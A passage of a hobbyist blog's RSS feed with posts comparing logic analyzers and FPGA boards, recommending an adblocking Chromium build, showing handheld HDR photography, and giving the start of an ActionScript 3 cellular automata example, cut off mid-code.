		<pubDate>Wed, 17 Mar 2010 04:50:44 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[FPGA]]></category>
		<category><![CDATA[Hardware]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=110</guid>
		<description><![CDATA[Here&#8217;s a comparison chart I&#8217;ve been working on that compares various PC-based logic analyzers. I made this mostly for myself because I&#8217;ve been wanting to buy a logic analyzer, but most of them are very expensive for a hobbyist&#8217;s budget. PC-based ones are a good compromise&#8230;they can be cheaper than standalone units since they don&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a comparison chart I&#8217;ve been working on that compares various PC-based logic analyzers. I made this mostly for myself because I&#8217;ve been wanting to buy a logic analyzer, but most of them are very expensive for a hobbyist&#8217;s budget. PC-based ones are a good compromise&#8230;they can be cheaper than standalone units since they don&#8217;t need all the processing and display hardware. I&#8217;m currently leaning towards the $120 Zeroplus unit, it seems to provide the best bang/buck. There is the $50 open source one, but I think I&#8217;d wait a bit for more reviews of it, to see how good it really works.</p>
<p><a href="http://spreadsheets.google.com/pub?key=rmNr4Eeren8jBG7MXfHYxsQ">View Chart Full-Screen</a></p>
<p>I&#8217;ll write a review when I do decide on one. Also I know someone designing his own Logic Analyzer, if/when he finishes, I&#8217;ll give a link to that too.</p>
<p><span id="more-110"></span><br />
<iframe width="100%" height="350" src="http://spreadsheets.google.com/pub?key=rmNr4Eeren8jBG7MXfHYxsQ&#038;output=html"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2010/03/16/comparison-of-logic-analyzers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Comparison of Entry-Level (aka cheap) FPGA boards</title>
		<link>http://blog.davr.org/2009/05/18/comparison-of-entry-level-aka-cheap-fpga-boards/</link>
		<comments>http://blog.davr.org/2009/05/18/comparison-of-entry-level-aka-cheap-fpga-boards/#comments</comments>
		<pubDate>Mon, 18 May 2009 23:26:50 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[FPGA]]></category>
		<category><![CDATA[Hardware]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=92</guid>
		<description><![CDATA[A while ago I decided I wanted to play around with a FPGA &#8211; Field-Programmable Gate Array, basically it lets you design new hardware ICs (Integrated Circuits), without needing a multi-billion dollar chip fabrication plant. So I set out to research the available pre-made development kits I could play around with. They&#8217;re quite a bit [...]]]></description>
			<content:encoded><![CDATA[<p>A while ago I decided I wanted to play around with a FPGA &#8211; Field-Programmable Gate Array, basically it lets you design new hardware ICs (Integrated Circuits), without needing a multi-billion dollar chip fabrication plant. So I set out to research the available pre-made development kits I could play around with. They&#8217;re quite a bit more expensive to get into than microcontrollers (where you can buy a $3 chip and build a programming cable out of some old scraps of wire), so I looked for the least expensive boards that still had a decent set of features.</p>
<p>I ended up making a comparison chart of FPGA development kits, like I said this was over a year ago, so it may be a bit out of date, but the low-end of FPGA&#8217;s doesn&#8217;t move all that fast. Most of the information is still valid, but you might be best to do some research yourself before you take the plunge. I only considered boards that featured FPGAs from Xilinx and Altera, since I found other vendors are not competitive in the low-cost arena (low-cost was the most important feature to me at the time, I didn&#8217;t want to spend $5000 just to play around. And yes, there are $5000 development boards).</p>
<p><a href="http://spreadsheets.google.com/pub?key=pjIW423lv_CeAOUTZcmTtXA">View Chart Full-Screen</a></p>
<p>If you&#8217;re curious, I ended up getting the DE2 (with the educational discount). It costs a bit more, but it has significantly more features, such that I&#8217;ll probably never run out of stuff to play with.</p>
<p>The ones highlighted in green are the ones I feel provide the best value, and just coincidentally fall at the $50, $100, and $150 price points.<br />
<span id="more-92"></span><br />
<iframe width="100%" height="350" src="http://spreadsheets.google.com/pub?key=pjIW423lv_CeAOUTZcmTtXA"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2009/05/18/comparison-of-entry-level-aka-cheap-fpga-boards/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>True AdBlock for Chrome browser</title>
		<link>http://blog.davr.org/2009/03/18/true-adblock-for-chrome-browser/</link>
		<comments>http://blog.davr.org/2009/03/18/true-adblock-for-chrome-browser/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 15:52:17 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[adblock]]></category>
		<category><![CDATA[ads]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=89</guid>
		<description><![CDATA[I&#8217;ve just discovered a true adblock plugin for Google&#8217;s Chrome web browser. What these guys have done, is taken the Chrome sourcecode (aka Chromium), stripped out Google&#8217;s tracking features, and added in a clone of AdBlock Plus. There&#8217;s no fancy UI for it yet, but it supports real regex ad-blocking, unlike those other hacks that [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just discovered a true adblock plugin for Google&#8217;s Chrome web browser. What these guys have done, is taken the Chrome sourcecode (aka Chromium), stripped out Google&#8217;s tracking features, and added in a clone of AdBlock Plus. There&#8217;s no fancy UI for it yet, but it supports real regex ad-blocking, unlike those other hacks that either require you setting your <a href="http://www.inanger.com/opinion/chrome-largest-browser-share-not-without-adblock/">hosts file</a> with a million lines, or some <a href="http://www.fritscher.ch/blog/2008/09/03/google-chrome-adblock-with-privoxy/">annoying proxy</a> you have to configure, or a <a href="http://blogote.com/2008/featured-article/google-chrome-with-firefox-addon.html">silly bookmark</a> you have to click on every page.</p>
<p>Check it out here: <a href="http://www.srware.net/en/software_srware_iron_news.php">SRWare&#8217;s Iron</a>. As mentioned in the news, make sure to download <a href="http://www.srware.net/downloads/adblock.ini">adblock.ini </a>and place it into the program directory after downloading.</p>
<p>Enjoy the power of Chrome, with the convenience of adblock!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2009/03/18/true-adblock-for-chrome-browser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HDR-like photo fun</title>
		<link>http://blog.davr.org/2008/09/03/hdr-like-photo-fun/</link>
		<comments>http://blog.davr.org/2008/09/03/hdr-like-photo-fun/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 21:49:28 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[exposure blending]]></category>
		<category><![CDATA[exposure fusion]]></category>
		<category><![CDATA[hdr]]></category>
		<category><![CDATA[high dynamic range]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=82</guid>
		<description><![CDATA[I've been playing around with making HDR photos from only hand-held shots. Mainly because I'm too lazy to always go and get my tripod, set it up, attach the camera, etc etc. It's a lot easier to just stand there &#038; take a few shots at different exposures while holding the camera as steady as possible. Read the full post to see what tools I used, and some example images.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been playing around with making HDR photos from only hand-held shots. Mainly because I&#8217;m too lazy to always go and get my tripod, set it up, attach the camera, etc etc. It&#8217;s a lot easier to just stand there &#038; take a few shots at different exposures while holding the camera as steady as possible.</p>
<p>In the past, all the HDR processing tools required that your images were taken on a tripod and perfectly aligned, or if they weren&#8217;t aligned, it could do some simple corrections, but anything too complex would mess it up.</p>
<p>I&#8217;ve tried several applications, including <a href="http://www.hdrsoft.com/">Photomatix Pro</a>, <a href="http://www.ptgui.com/">PTGui Pro</a>, and <a href="http://www.autopano.net/">Autopano Pro</a>. I know what you&#8217;re thinking, two of those three applications are mainly for automatically stitching panoramas&#8230;but it turns out automatically aligning images for panoramas is also very useful for creating HDR images.</p>
<p>My very quick comparison of these HDR / panoramic image apps: <b>Photomatix Pro</b> appears to give the most control over the HDR generation process, and with tweaking, gives the nicest output&#8230;HOWEVER it&#8217;s not very good at handling images which are not perfectly aligned. <b>Autopano Pro</b> is the best at correctly aligning the images, and for creating panoramas in general, but it sucks at HDR tone mapping, having two sliders with obscure labels, that don&#8217;t really make it look very nice.<br />
Finally, there&#8217;s <b>PTGui Pro</b> &#8212; it&#8217;s not the best at aligning, and it&#8217;s not the best at the HDR generation, but it&#8217;s pretty good at both, so in most cases it gives the best overall results.</p>
<p>Below, you can see an example of a shot I took, that would be impossible without some sort of HDR effect:<br />
<span id="more-82"></span><br />
Original images:<br />
<center><img src="http://davr.org/house2/P1060726.JPG-300x225.jpg" width="300" height="225" /></center><br />
This one is way too dark to see the indoors at all, but you can see out the window pretty clearly.</p>
<p><center><img src="http://davr.org/house2/P1060728.JPG-300x225.jpg" width="300" height="225" /></center><br />
This one&#8217;s a bit brighter, you can make out some of the indoor stuff, but the outdoor shot is already getting a bit too bright</p>
<p><center><img src="http://davr.org/house2/P1060731.JPG-300x225.jpg" width="300" height="225" /></center><br />
In this one, you can make out the indoor scene pretty clearly, but the light from outside completely blows out that section of the image.</p>
<p>These three images were combined using PTGui Pro, with the &#8216;Exposure Fusion&#8217; HDR processing option, and I tweaked the sliders around until it looked nice. Here is the resulting image:</p>
<p><center><a href="http://davr.org/house2/P1060731_blend-1200x660.jpg"><img src="http://davr.org/house2/P1060731_blend-300x225.jpg" width="300" height="216" border="0"/><br />
<font size="-2">(click to enlarge)</font></a></center><br />
As you can see, both the indoor and outdoor scene are visible, and the image as a whole has a subtle effect applied to it that you don&#8217;t normally see in digital photography (outside of these HDR type of shots).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2008/09/03/hdr-like-photo-fun/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Simple Cellular Automata Example in AS3</title>
		<link>http://blog.davr.org/2008/08/22/simple-cellular-automata-example-in-as3/</link>
		<comments>http://blog.davr.org/2008/08/22/simple-cellular-automata-example-in-as3/#comments</comments>
		<pubDate>Fri, 22 Aug 2008 19:33:39 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[as3]]></category>
		<category><![CDATA[cellular automata]]></category>
		<category><![CDATA[chaos]]></category>
		<category><![CDATA[code]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=80</guid>
		<description><![CDATA[To get a little more experience with ActionScript 3, I wrote up a very simple class which will take a rule number, and then generate a cellular automata based on that. Read the full post to see the result, as well as the code.]]></description>
			<content:encoded><![CDATA[<p>To get a little more experience with ActionScript 3, I wrote up a very simple class which will take a rule number, and then generate a cellular automata based on that. </p>
<p>The movie below requires Flash 9 or above to be installed. Some rules to try out: 90, 30, 73, 110, 150. Valid numbers are 0-255, but not all produce interesting results.<br />

<object width="601" height="300">
<param name="movie" value="http://blog.davr.org/wp-content/uploads/2008/08/cellularautomata.swf"></param>
<param name="quality" value="high"></param>
<param name="wmode" value="window"></param>
<param name="menu" value="false"></param>
<param name="bgcolor" value="#FFFFFF"></param>
<embed type="application/x-shockwave-flash" width="601" height="300" src="http://blog.davr.org/wp-content/uploads/2008/08/cellularautomata.swf" quality="high" bgcolor="#FFFFFF" wmode="window" menu="false" ></embed>
</object>
</p>
<p><a href="http://blog.davr.org/wp-content/uploads/2008/08/cellularautomata.swf">Direct link to flash movie</a> (got some people complaining the SWFObject script doesn't work under Vista)</p>
<p>See <a href="http://en.wikipedia.org/wiki/Cellular_automata">Wikipedia</a> for more info, and <a href="http://mathworld.wolfram.com/ElementaryCellularAutomaton.html">Wolfram.com</a> has a list of all 256 possible results<br />
Here's the code:<br />
<span id="more-80"></span></p>
<div class="igBar"><span id="lactionscript-1"><a href="#" onclick="javascript:showPlainTxt('actionscript-1'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">Actionscript:</span>
<div id="actionscript-1">
<div class="actionscript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;"> * Simple Cellular Automata example</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;"> * by David Rorex, 2008</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;"> */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">package </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.*;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.*;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.*;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #0066CC;">text</span>.*;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">ui</span>.<span style="color: #006600;">Keyboard</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">utils</span>.<span style="color: #0066CC;">getTimer</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> sim.<span style="color: #006600;">EasyButton</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Main <span style="color: #0066CC;">extends</span> Sprite</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Holds the data we draw onto</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> bdata:BitmapData;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Bitmap container for displaying our rendering</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> bitmap:Bitmap;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Text field for typing in rule numbers</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> inp:<span style="color: #0066CC;">TextField</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Button to click to render</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> btn:EasyButton;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Constructor</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Main<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#123;</span>&nbsp; &nbsp;&nbsp; &nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// set up the input textfield</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">TextField</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addChild<span style="color: #66cc66;">&#40;</span>inp<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">type</span> = TextFieldType.<span style="color: #006600;">INPUT</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">border</span> = <span style="color: #000000; font-weight: bold;">true</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">text</span> = <span style="color: #ff0000;">"90"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>KeyboardEvent.<span style="color: #006600;">KEY_UP</span>, onEnter<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">height</span> = <span style="color: #cc66cc;color:#800000;">20</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// set up the render button</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; btn = <span style="color: #000000; font-weight: bold;">new</span> EasyButton<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"Render"</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; btn.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:*<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span> doRender<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #66cc66;">&#125;</span> <span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addChild<span style="color: #66cc66;">&#40;</span>btn<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// set the stage to not scale, and to get an event if the window changes size</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">scaleMode</span> = StageScaleMode.<span style="color: #006600;">NO_SCALE</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">align</span> = StageAlign.<span style="color: #006600;">TOP_LEFT</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">RESIZE</span>, <span style="color: #0066CC;">onResize</span><span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// initialize the size</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setSize<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>, <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Event handler for when the stage changes size</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param e</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">onResize</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setSize<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>, <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
